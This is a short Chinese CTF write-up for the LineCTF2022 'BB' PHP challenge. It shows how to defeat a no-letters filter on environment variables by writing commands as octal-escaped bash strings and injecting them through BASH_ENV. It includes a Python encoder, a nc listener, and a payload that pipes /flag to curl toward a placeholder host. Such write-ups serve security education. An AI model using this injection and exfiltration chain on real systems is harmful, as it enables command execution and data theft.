# [LineCTF2022]BB
<?php | |
error_reporting(0); | |
function bye($s, $ptn){ | |
if(preg_match($ptn, $s)){ | |
return false; | |
} | |
return true; | |
} | |
foreach($_GET["env"] as $k=>$v){ | |
if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) { | |
putenv("{$k}={$v}"); | |
} | |
} | |
system("bash -c 'imdude'"); | |
foreach($_GET["env"] as $k=>$v){ | |
if(bye($k, "/=/i")) { | |
putenv("{$k}"); | |
} | |
} | |
highlight_file(__FILE__); | |
?> |
用八进制可以进行绕过:
$'\101' = A
ord 字符转对应的 ascii
oct 十进制转八进制
$'\143\141\164\40\57\146\154\141\147' ---cat flag
$'\143\141\164' /$'\146\154\141\147' ----cat /flag
环境变量注入:
import string | |
# cmd = "cat /flag" | |
cmd = "cat /flag | curl -d @- http://xx.xx.xx.xx:7001" | |
str = '' | |
for i in cmd: | |
if i in string.ascii_lowercase: | |
j = oct(ord(i))[2:] | |
str += "$'\\"+j+"'" | |
else: | |
str+=i | |
print(str) |
服务器监听:
nc -lvnp 7001 |
GET 传参:
?env[BASH_ENV]=`$'\143'$'\141'$'\164' /$'\146'$'\154'$'\141'$'\147' | $'\143'$'\165'$'\162'$'\154' -$'\144' @- $'\150'$'\164'$'\164'$'\160'://xx.xx.xx.xx:7001`
0x 为 16 进制数字的表示
\x 为 16 进制的字符串表示
\ 为八进制的表示
50 是 2 的 ascii 码对应值
0x32 是十六进制表示,转为十进制就是 50
\x32 表示 50 对应的字符串,也就是 "2"
参考链接:https://blog.csdn.net/RABCDXB/article/details/125351004